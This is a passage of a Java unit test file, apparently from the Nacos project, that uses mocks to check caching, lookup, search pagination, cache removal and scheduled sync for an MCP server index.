com.alibaba.nacos.api.model.response.Namespace();\n        namespace.setNamespace(namespaceId);\n        namespaceList.add(namespace);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 执行查询\n        McpServerIndexData result = cachedIndex.getMcpServerById(mcpId);\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(mcpId, result.getId());\n        assertEquals(namespaceId, result.getNamespaceId());\n        \n        // 验证缓存被调用，数据库查询也被调用\n        verify(cacheIndex).getMcpServerById(mcpId);\n        verify(configQueryChainService).handle(any(ConfigQueryChainRequest.class));\n        \n        // 验证缓存被更新\n        verify(cacheIndex).updateIndex(eq(namespaceId), eq(mcpId), eq(mcpId));\n    }\n    \n    @Test\n    void testGetMcpServerByNameWithCacheHit() {\n        final String namespaceId = \"test-namespace\";\n        final String mcpName = \"test-mcp\";\n        final String mcpId = \"test-id-123\";\n        \n        // 模拟缓存命中\n        McpServerIndexData cachedData = new McpServerIndexData();\n        cachedData.setId(mcpId);\n        cachedData.setNamespaceId(namespaceId);\n        when(cacheIndex.getMcpServerByName(namespaceId, mcpName)).thenReturn(cachedData);\n        \n        // 执行查询\n        McpServerIndexData result = cachedIndex.getMcpServerByName(namespaceId, mcpName);\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(mcpId, result.getId());\n        assertEquals(namespaceId, result.getNamespaceId());\n        \n        // 验证缓存被调用\n        verify(cacheIndex).getMcpServerByName(namespaceId, mcpName);\n    }\n    \n    @Test\n    void testGetMcpServerByNameWithCacheMiss() {\n        final String namespaceId = \"test-namespace\";\n        final String mcpName = \"test-mcp\";\n        final String mcpId = \"test-id-123\";\n        \n        // 模拟缓存未命中\n        when(cacheIndex.getMcpServerByName(namespaceId, mcpName)).thenReturn(null);\n        \n        // 模拟数据库查询结果\n        final Page<ConfigInfo> mockPage = new Page<>();\n        List<ConfigInfo> configList = new ArrayList<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(mcpId + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX);\n        configInfo.setTenant(namespaceId);\n        configList.add(configInfo);\n        mockPage.setPageItems(configList);\n        mockPage.setTotalCount(1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(1), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any())).thenReturn(mockPage);\n        \n        // 执行查询\n        McpServerIndexData result = cachedIndex.getMcpServerByName(namespaceId, mcpName);\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(mcpId, result.getId());\n        assertEquals(namespaceId, result.getNamespaceId());\n        \n        // 验证缓存被调用，数据库查询也被调用\n        verify(cacheIndex).getMcpServerByName(namespaceId, mcpName);\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(1), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any());\n        \n        // 验证缓存被更新\n        verify(cacheIndex).updateIndex(eq(namespaceId), eq(mcpName), eq(mcpId));\n    }\n    \n    @Test\n    void testSearchMcpServerByName() {\n        final String namespaceId = \"test-namespace\";\n        final String mcpName = \"test-mcp\";\n        final String mcpId = \"test-id-123\";\n        \n        // 模拟数据库查询结果\n        final Page<ConfigInfo> mockPage = new Page<>();\n        List<ConfigInfo> configList = new ArrayList<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(mcpId + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX);\n        configInfo.setTenant(namespaceId);\n        // 设置content为JSON格式的McpServerVersionInfo\n        configInfo.setContent(\"{\\\"id\\\":\\\"\" + mcpId + \"\\\"}\");\n        configList.add(configInfo);\n        mockPage.setPageItems(configList);\n        mockPage.setTotalCount(1);\n        \n        // 使用正确的参数匹配，匹配实际的调用参数\n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(10), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any())).thenReturn(mockPage);\n        \n        // 执行搜索\n        Page<McpServerIndexData> result = cachedIndex.searchMcpServerByNameWithPage(namespaceId, mcpName,\n                Constants.MCP_LIST_SEARCH_ACCURATE, 1, 10);\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getPageItems().size());\n        \n        McpServerIndexData indexData = result.getPageItems().get(0);\n        assertEquals(mcpId, indexData.getId());\n        assertEquals(namespaceId, indexData.getNamespaceId());\n        \n        // 验证数据库查询被调用\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(10), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any());\n        \n        // 验证缓存被更新\n        verify(cacheIndex).updateIndex(eq(namespaceId), any(), eq(mcpId));\n    }\n    \n    @Test\n    void testCacheDisabled() {\n        // 设置系统属性以禁用缓存\n        System.setProperty(\"nacos.mcp.cache.enabled\", \"false\");\n        \n        // 重新创建实例\n        final CachedMcpServerIndex disabledIndex = new CachedMcpServerIndex(configDetailService,\n                namespaceOperationService, configQueryChainService, cacheIndex, scheduledExecutor, false, 0);\n        \n        final String mcpId = \"test-id-123\";\n        final String namespaceId = \"test-namespace\";\n        \n        // 模拟数据库查询结果\n        ConfigQueryChainResponse mockResponse = mock(ConfigQueryChainResponse.class);\n        when(mockResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(mockResponse);\n        \n        // 模拟命名空间列表\n        List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace.setNamespace(namespaceId);\n        namespaceList.add(namespace);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 执行查询\n        McpServerIndexData result = disabledIndex.getMcpServerById(mcpId);\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(mcpId, result.getId());\n        assertEquals(namespaceId, result.getNamespaceId());\n        \n        // 验证缓存没有被调用\n        verify(cacheIndex, never()).getMcpServerById(anyString());\n        verify(cacheIndex, never()).updateIndex(anyString(), anyString(), anyString());\n        \n        // 验证数据库查询被调用\n        verify(configQueryChainService).handle(any(ConfigQueryChainRequest.class));\n    }\n    \n    @Test\n    void testGetCacheStats() {\n        // 模拟缓存统计\n        McpCacheIndex.CacheStats mockStats = new McpCacheIndex.CacheStats(10, 5, 2, 100);\n        when(cacheIndex.getStats()).thenReturn(mockStats);\n        \n        // 获取统计信息\n        McpCacheIndex.CacheStats result = cachedIndex.getCacheStats();\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(10, result.getHitCount());\n        assertEquals(5, result.getMissCount());\n        assertEquals(2, result.getEvictionCount());\n        assertEquals(100, result.getSize());\n        assertEquals(2.0 / 3.0, result.getHitRate(), 0.001);\n    }\n    \n    @Test\n    void testClearCache() {\n        // 执行清空缓存\n        cachedIndex.clearCache();\n        \n        // 验证缓存被清空\n        verify(cacheIndex).clear();\n    }\n    \n    @Test\n    void testTriggerCacheSync() {\n        // 模拟命名空间列表\n        List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace.setNamespace(\"test-namespace\");\n        namespaceList.add(namespace);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 模拟搜索结果\n        final Page<ConfigInfo> mockPage = new Page<>();\n        mockPage.setPageItems(new ArrayList<>());\n        mockPage.setTotalCount(0);\n        \n        when(configDetailService.findConfigInfoPage(anyString(), anyInt(), anyInt(), anyString(), anyString(),\n                anyString(), any())).thenReturn(mockPage);\n        \n        // 执行手动同步\n        cachedIndex.triggerCacheSync();\n        \n        // 验证数据库查询被调用\n        verify(configDetailService).findConfigInfoPage(anyString(), anyInt(), anyInt(), anyString(), anyString(),\n                anyString(), any());\n    }\n    \n    // 新增缓存删除功能测试\n    \n    @Test\n    void testRemoveMcpServerByNameWhenCacheEnabled() {\n        final String namespaceId = \"test-namespace\";\n        final String mcpName = \"test-mcp-name\";\n        \n        // 执行缓存删除\n        cachedIndex.removeMcpServerByName(namespaceId, mcpName);\n        \n        // 验证缓存删除方法被调用\n        verify(cacheIndex).removeIndex(namespaceId, mcpName);\n    }\n    \n    @Test\n    void testRemoveMcpServerByIdWhenCacheEnabled() {\n        final String mcpId = \"test-mcp-id-123\";\n        \n        // 执行缓存删除\n        cachedIndex.removeMcpServerById(mcpId);\n        \n        // 验证缓存删除方法被调用\n        verify(cacheIndex).removeIndex(mcpId);\n    }\n    \n    @Test\n    void testRemoveMcpServerByNameWhenCacheDisabled() {\n        // 创建禁用缓存的实例\n        final CachedMcpServerIndex disabledIndex = new CachedMcpServerIndex(configDetailService,\n                namespaceOperationService, configQueryChainService, cacheIndex, scheduledExecutor, false, 0);\n        \n        final String namespaceId = \"test-namespace\";\n        final String mcpName = \"test-mcp-name\";\n        \n        // 执行缓存删除\n        disabledIndex.removeMcpServerByName(namespaceId, mcpName);\n        \n        // 验证缓存删除方法没有被调用（因为缓存被禁用）\n        verify(cacheIndex, never()).removeIndex(namespaceId, mcpName);\n    }\n    \n    @Test\n    void testRemoveMcpServerByIdWhenCacheDisabled() {\n        // 创建禁用缓存的实例\n        final CachedMcpServerIndex disabledIndex = new CachedMcpServerIndex(configDetailService,\n                namespaceOperationService, configQueryChainService, cacheIndex, scheduledExecutor, false, 0);\n        \n        final String mcpId = \"test-mcp-id-123\";\n        \n        // 执行缓存删除\n        disabledIndex.removeMcpServerById(mcpId);\n        \n        // 验证缓存删除方法没有被调用（因为缓存被禁用）\n        verify(cacheIndex, never()).removeIndex(mcpId);\n    }\n    \n    @Test\n    void testRemoveMcpServerByNameWithNullParameters() {\n        // 测试 null 参数\n        cachedIndex.removeMcpServerByName(null, null);\n        cachedIndex.removeMcpServerByName(\"namespace\", null);\n        cachedIndex.removeMcpServerByName(null, \"mcpName\");\n        \n        // 验证缓存删除方法没有被调用（因为参数为 null 或空）\n        verify(cacheIndex, never()).removeIndex(anyString(), anyString());\n    }\n    \n    @Test\n    void testRemoveMcpServerByIdWithNullParameter() {\n        // 测试 null 参数\n        cachedIndex.removeMcpServerById(null);\n        \n        // 验证缓存删除方法没有被调用（因为参数为 null）\n        verify(cacheIndex, never()).removeIndex(anyString());\n    }\n    \n    @Test\n    void testRemoveMcpServerByNameWithEmptyParameters() {\n        // 测试空字符串参数\n        cachedIndex.removeMcpServerByName(\"\", \"\");\n        cachedIndex.removeMcpServerByName(\"namespace\", \"\");\n        cachedIndex.removeMcpServerByName(\"\", \"mcpName\");\n        \n        // 空字符串应该仍然调用缓存删除方法\n        verify(cacheIndex).removeIndex(\"\", \"\");\n        verify(cacheIndex).removeIndex(\"namespace\", \"\");\n        verify(cacheIndex).removeIndex(\"\", \"mcpName\");\n    }\n    \n    @Test\n    void testRemoveMcpServerByIdWithEmptyParameter() {\n        // 测试空字符串参数\n        cachedIndex.removeMcpServerById(\"\");\n        \n        // 空字符串应该仍然调用缓存删除方法\n        verify(cacheIndex).removeIndex(\"\");\n    }\n    \n    // 补充的测试用例\n    \n    @Test\n    void testGetMcpServerByIdWithCacheDisabledAndNotFound() {\n        // 创建禁用缓存的实例\n        final CachedMcpServerIndex disabledIndex = new CachedMcpServerIndex(configDetailService,\n                namespaceOperationService, configQueryChainService, cacheIndex, scheduledExecutor, false, 0);\n        \n        final String mcpId = \"test-id-123\";\n        \n        // 模拟数据库查询结果为null\n        ConfigQueryChainResponse mockResponse = mock(ConfigQueryChainResponse.class);\n        when(mockResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(mockResponse);\n        \n        // 模拟命名空间列表\n        List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace.setNamespace(\"test-namespace\");\n        namespaceList.add(namespace);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 执行查询\n        McpServerIndexData result = disabledIndex.getMcpServerById(mcpId);\n        \n        // 验证结果为null\n        assertNull(result);\n        \n        // 验证缓存没有被调用\n        verify(cacheIndex, never()).getMcpServerById(anyString());\n        verify(cacheIndex, never()).updateIndex(anyString(), anyString(), anyString());\n        \n        // 验证数据库查询被调用\n        verify(configQueryChainService).handle(any(ConfigQueryChainRequest.class));\n    }\n    \n    @Test\n    void testGetMcpServerByIdWithCacheMissAndNotFound() {\n        final String mcpId = \"test-id-123\";\n        \n        // 模拟缓存未命中\n        when(cacheIndex.getMcpServerById(mcpId)).thenReturn(null);\n        \n        // 模拟数据库查询结果为null（未找到）\n        ConfigQueryChainResponse mockResponse = mock(ConfigQueryChainResponse.class);\n        when(mockResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(mockResponse);\n        \n        // 模拟命名空间列表\n        List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace.setNamespace(\"test-namespace\");\n        namespaceList.add(namespace);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 执行查询\n        McpServerIndexData result = cachedIndex.getMcpServerById(mcpId);\n        \n        // 验证结果为null\n        assertNull(result);\n        \n        // 验证缓存被调用，数据库查询也被调用\n        verify(cacheIndex).getMcpServerById(mcpId);\n        verify(configQueryChainService).handle(any(ConfigQueryChainRequest.class));\n        \n        // 验证缓存未被更新（因为未找到）\n        verify(cacheIndex, never()).updateIndex(anyString(), anyString(), anyString());\n    }\n    \n    @Test\n    void testGetMcpServerByNameWithInvalidParameters() {\n        // 设置默认的空 mock 结果\n        final Page<ConfigInfo> emptyPage = new Page<>();\n        emptyPage.setPageItems(new ArrayList<>());\n        emptyPage.setTotalCount(0);\n        when(configDetailService.findConfigInfoPage(anyString(), anyInt(), anyInt(), any(), anyString(),\n                anyString(), any())).thenReturn(emptyPage);\n        \n        // 测试null参数 - 当两个都为null时，返回null\n        McpServerIndexData result1 = cachedIndex.getMcpServerByName(null, \"test-name\");\n        assertNull(result1);\n        \n        McpServerIndexData result2 = cachedIndex.getMcpServerByName(\"test-namespace\", null);\n        assertNull(result2);\n        \n        McpServerIndexData result3 = cachedIndex.getMcpServerByName(null, null);\n        assertNull(result3);\n        \n        // 测试空字符串参数\n        // 当namespaceId为空时，会调用getFirstMcpServerByName\n        List<com.alibaba.nacos.api.model.response.Namespace> emptyNamespaceList = new ArrayList<>();\n        when(namespaceOperationService.getNamespaceList()).thenReturn(emptyNamespaceList);\n        \n        McpServerIndexData result4 = cachedIndex.getMcpServerByName(\"\", \"test-name\");\n        assertNull(result4);\n        \n        // 恢复正常的命名空间列表\n        List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace.setNamespace(\"test-namespace\");\n        namespaceList.add(namespace);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 当name为空字符串时，实现仍然会调用缓存查询，这是正常行为\n        // 确保我们的mock能够处理这种情况\n        when(cacheIndex.getMcpServerByName(\"test-namespace\", \"\")).thenReturn(null);\n        \n        McpServerIndexData result5 = cachedIndex.getMcpServerByName(\"test-namespace\", \"\");\n        assertNull(result5);\n        \n        // 验证缓存被调用了空字符串情况\n        verify(cacheIndex).getMcpServerByName(\"test-namespace\", \"\");\n    }\n    \n    @Test\n    void testGetMcpServerByNameWithCacheDisabledAndNotFound() {\n        // 创建禁用缓存的实例\n        final CachedMcpServerIndex disabledIndex = new CachedMcpServerIndex(configDetailService,\n                namespaceOperationService, configQueryChainService, cacheIndex, scheduledExecutor, false, 0);\n        \n        final String namespaceId = \"test-namespace\";\n        final String mcpName = \"test-mcp\";\n        \n        // 模拟数据库查询结果为null\n        final Page<ConfigInfo> mockPage = new Page<>();\n        mockPage.setPageItems(new ArrayList<>());\n        mockPage.setTotalCount(0);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(1), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any())).thenReturn(mockPage);\n        \n        // 执行查询\n        McpServerIndexData result = disabledIndex.getMcpServerByName(namespaceId, mcpName);\n        \n        // 验证结果为null\n        assertNull(result);\n        \n        // 验证缓存没有被调用\n        verify(cacheIndex, never()).getMcpServerByName(anyString(), anyString());\n        verify(cacheIndex, never()).updateIndex(anyString(), anyString(), anyString());\n        \n        // 验证数据库查询被调用\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(1), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any());\n    }\n    \n    @Test\n    void testGetMcpServerByNameWithCacheMissAndNotFound() {\n        final String namespaceId = \"test-namespace\";\n        final String mcpName = \"test-mcp\";\n        \n        // 模拟缓存未命中\n        when(cacheIndex.getMcpServerByName(namespaceId, mcpName)).thenReturn(null);\n        \n        // 模拟数据库查询结果为null\n        final Page<ConfigInfo> mockPage = new Page<>();\n        mockPage.setPageItems(new ArrayList<>());\n        mockPage.setTotalCount(0);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(1), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any())).thenReturn(mockPage);\n        \n        // 执行查询\n        McpServerIndexData result = cachedIndex.getMcpServerByName(namespaceId, mcpName);\n        \n        // 验证结果为null\n        assertNull(result);\n        \n        // 验证缓存被调用，数据库查询也被调用\n        verify(cacheIndex).getMcpServerByName(namespaceId, mcpName);\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(1), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any());\n        \n        // 验证缓存未被更新（因为未找到）\n        verify(cacheIndex, never()).updateIndex(anyString(), anyString(), anyString());\n    }\n    \n    @Test\n    void testSearchMcpServerByNameWithNullName() {\n        final String namespaceId = \"test-namespace\";\n        final String mcpId = \"test-id-123\";\n        \n        // 模拟数据库查询结果\n        final Page<ConfigInfo> mockPage = new Page<>();\n        List<ConfigInfo> configList = new ArrayList<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(mcpId + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX);\n        configInfo.setTenant(namespaceId);\n        configInfo.setContent(\"{\\\"id\\\":\\\"\" + mcpId + \"\\\"}\");\n        configList.add(configInfo);\n        mockPage.setPageItems(configList);\n        mockPage.setTotalCount(1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(10), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any())).thenReturn(mockPage);\n        \n        // 执行搜索，name为null\n        Page<McpServerIndexData> result = cachedIndex.searchMcpServerByNameWithPage(namespaceId, null,\n                Constants.MCP_LIST_SEARCH_BLUR, 1, 10);\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getPageItems().size());\n        \n        McpServerIndexData indexData = result.getPageItems().get(0);\n        assertEquals(mcpId, indexData.getId());\n        assertEquals(namespaceId, indexData.getNamespaceId());\n        \n        // 验证数据库查询被调用\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(10), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any());\n    }\n    \n    @Test\n    void testSearchMcpServerByNameWithEmptyName() {\n        final String namespaceId = \"test-namespace\";\n        final String mcpId = \"test-id-123\";\n        \n        // 模拟数据库查询结果\n        final Page<ConfigInfo> mockPage = new Page<>();\n        List<ConfigInfo> configList = new ArrayList<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(mcpId + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX);\n        configInfo.setTenant(namespaceId);\n        configInfo.setContent(\"{\\\"id\\\":\\\"\" + mcpId + \"\\\"}\");\n        configList.add(configInfo);\n        mockPage.setPageItems(configList);\n        mockPage.setTotalCount(1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(10), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any())).thenReturn(mockPage);\n        \n        // 执行搜索，name为空字符串\n        Page<McpServerIndexData> result = cachedIndex.searchMcpServerByNameWithPage(namespaceId, \"\",\n                Constants.MCP_LIST_SEARCH_ACCURATE, 1, 10);\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getPageItems().size());\n        \n        McpServerIndexData indexData = result.getPageItems().get(0);\n        assertEquals(mcpId, indexData.getId());\n        assertEquals(namespaceId, indexData.getNamespaceId());\n        \n        // 验证数据库查询被调用\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(10), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any());\n    }\n    \n    @Test\n    void testSearchMcpServerByNameWithBlurSearch() {\n        final String namespaceId = \"test-namespace\";\n        final String mcpName = \"test-mcp\";\n        final String mcpId = \"test-id-123\";\n        \n        // 模拟数据库查询结果\n        final Page<ConfigInfo> mockPage = new Page<>();\n        List<ConfigInfo> configList = new ArrayList<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(mcpId + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX);\n        configInfo.setTenant(namespaceId);\n        configInfo.setContent(\"{\\\"id\\\":\\\"\" + mcpId + \"\\\"}\");\n        configList.add(configInfo);\n        mockPage.setPageItems(configList);\n        mockPage.setTotalCount(1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(10), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any())).thenReturn(mockPage);\n        \n        // 执行搜索\n        Page<McpServerIndexData> result = cachedIndex.searchMcpServerByNameWithPage(namespaceId, mcpName,\n                Constants.MCP_LIST_SEARCH_BLUR, 1, 10);\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getPageItems().size());\n        \n        McpServerIndexData indexData = result.getPageItems().get(0);\n        assertEquals(mcpId, indexData.getId());\n        assertEquals(namespaceId, indexData.getNamespaceId());\n        \n        // 验证数据库查询被调用\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_BLUR), eq(1), eq(10), anyString(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any());\n    }\n    \n    @Test\n    void testSearchMcpServerByNameWithPagination() {\n        final String namespaceId = \"test-namespace\";\n        final String mcpName = \"test-mcp\";\n        final String mcpId = \"test-id-123\";\n        \n        // 模拟数据库查询结果\n        final Page<ConfigInfo> mockPage = new Page<>();\n        List<ConfigInfo> configList = new ArrayList<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(mcpId + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX);\n        configInfo.setTenant(namespaceId);\n        configInfo.setContent(\"{\\\"id\\\":\\\"\" + mcpId + \"\\\"}\");\n        configList.add(configInfo);\n        mockPage.setPageItems(configList);\n        mockPage.setTotalCount(15); // 总数15，测试分页\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(3), eq(5), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any())).thenReturn(mockPage);\n        \n        // 执行搜索，pageNo=3, limit=5\n        Page<McpServerIndexData> result = cachedIndex.searchMcpServerByNameWithPage(namespaceId, mcpName,\n                Constants.MCP_LIST_SEARCH_ACCURATE, 3, 5);\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(15, result.getTotalCount());\n        assertEquals(1, result.getPageItems().size());\n        assertEquals(3, result.getPageNumber());\n        assertEquals(3, result.getPagesAvailable()); // ceil(15/5) = 3\n        \n        McpServerIndexData indexData = result.getPageItems().get(0);\n        assertEquals(mcpId, indexData.getId());\n        assertEquals(namespaceId, indexData.getNamespaceId());\n        \n        // 验证数据库查询被调用\n        verify(configDetailService).findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(3), eq(5), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any());\n    }\n    \n    @Test\n    void testFetchOrderedNamespaceList() {\n        // 模拟命名空间列表（无序）\n        final List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace1 = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace1.setNamespace(\"b-namespace\");\n        com.alibaba.nacos.api.model.response.Namespace namespace2 = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace2.setNamespace(\"a-namespace\");\n        com.alibaba.nacos.api.model.response.Namespace namespace3 = new com.alibaba.nacos.api.model.response.Namespace();\n        namespace3.setNamespace(\"c-namespace\");\n        namespaceList.add(namespace1);\n        namespaceList.add(namespace2);\n        namespaceList.add(namespace3);\n        when(namespaceOperationService.getNamespaceList()).thenReturn(namespaceList);\n        \n        // 通过调用依赖该方法的函数来间接测试\n        final String mcpId = \"test-id-123\";\n        \n        // 模拟缓存未命中\n        when(cacheIndex.getMcpServerById(mcpId)).thenReturn(null);\n        \n        // 模拟数据库查询结果\n        ConfigQueryChainResponse mockResponse = mock(ConfigQueryChainResponse.class);\n        when(mockResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(mockResponse);\n        \n        // 执行查询\n        cachedIndex.getMcpServerById(mcpId);\n        \n        // 验证命名空间服务被调用\n        verify(namespaceOperationService).getNamespaceList();\n    }\n    \n    @Test\n    void testMapMcpServerVersionConfigToIndexData() {\n        // 通过调用依赖该方法的函数来间接测试\n        final String namespaceId = \"test-namespace\";\n        final String mcpName = \"test-mcp\";\n        final String mcpId = \"test-id-123\";\n        \n        // 模拟缓存未命中\n        when(cacheIndex.getMcpServerByName(namespaceId, mcpName)).thenReturn(null);\n        \n        // 模拟数据库查询结果\n        final Page<ConfigInfo> mockPage = new Page<>();\n        List<ConfigInfo> configList = new ArrayList<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(mcpId + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX);\n        configInfo.setTenant(namespaceId);\n        configList.add(configInfo);\n        mockPage.setPageItems(configList);\n        mockPage.setTotalCount(1);\n        \n        when(configDetailService.findConfigInfoPage(eq(Constants.MCP_LIST_SEARCH_ACCURATE), eq(1), eq(1), isNull(),\n                eq(Constants.MCP_SERVER_VERSIONS_GROUP), eq(namespaceId), any())).thenReturn(mockPage);\n        \n        // 执行查询\n        McpServerIndexData result = cachedIndex.getMcpServerByName(namespaceId, mcpName);\n        \n        // 验证结果，确保mapMcpServerVersionConfigToIndexData方法正确执行\n        assertNotNull(result);\n        assertEquals(mcpId, result.getId());\n        assertEquals(namespaceId, result.getNamespaceId());\n    }\n    \n    @Test\n    void testTriggerCacheSyncWhenCacheDisabled() {\n        // 创建禁用缓存的实例\n        final CachedMcpServerIndex disabledIndex = new CachedMcpServerIndex(configDetailService,\n                namespaceOperationService, configQueryChainService, cacheIndex, scheduledExecutor, false, 0);\n        \n        // 执行手动同步\n        disabledIndex.triggerCacheSync();\n        \n        // 验证数据库查询没有被调用\n        verify(configDetailService, never()).findConfigInfoPage(anyString(), anyInt(), anyInt(), anyString(),\n                anyString(), anyString(), any());\n    }\n    \n    @Test\n    void testStartSyncTask() {\n        when(scheduledExecutor.scheduleWithFixedDelay(any(Runnable.class), eq(10L), eq(10L), any(TimeUnit.class))).then(\n                (Answer<ScheduledFuture<?>>) invocation -> {\n                    invocation.getArgument(0, Runnable.class).run();\n                    return null;\n                });\n        // 创建一个新的实例来测试startSyncTask方法\n        new CachedMcpServerIndex(configDetailService, namespaceOperationService,\n                configQueryChainService, cacheIndex, scheduledExecutor, true, 10);\n        \n        // 验证调度任务已启动\n        verify(scheduledExecutor).scheduleWithFixedDelay(any(Runnable.class), eq(10L), eq(10L), any(TimeUnit.class));\n        verify(namespaceOperationService).getNamespaceList();\n    }\n    \n    @Test\n    void testStartSyncTaskWithException() {\n        when(scheduledExecutor.scheduleWithFixedDelay(any(Runnable.class), eq(10L), eq(10L), any(TimeUnit.class))).then(\n                (Answer<ScheduledFuture<?>>) invocation -> {\n                    invocation.getArgument(0, Runnable.class).run();\n   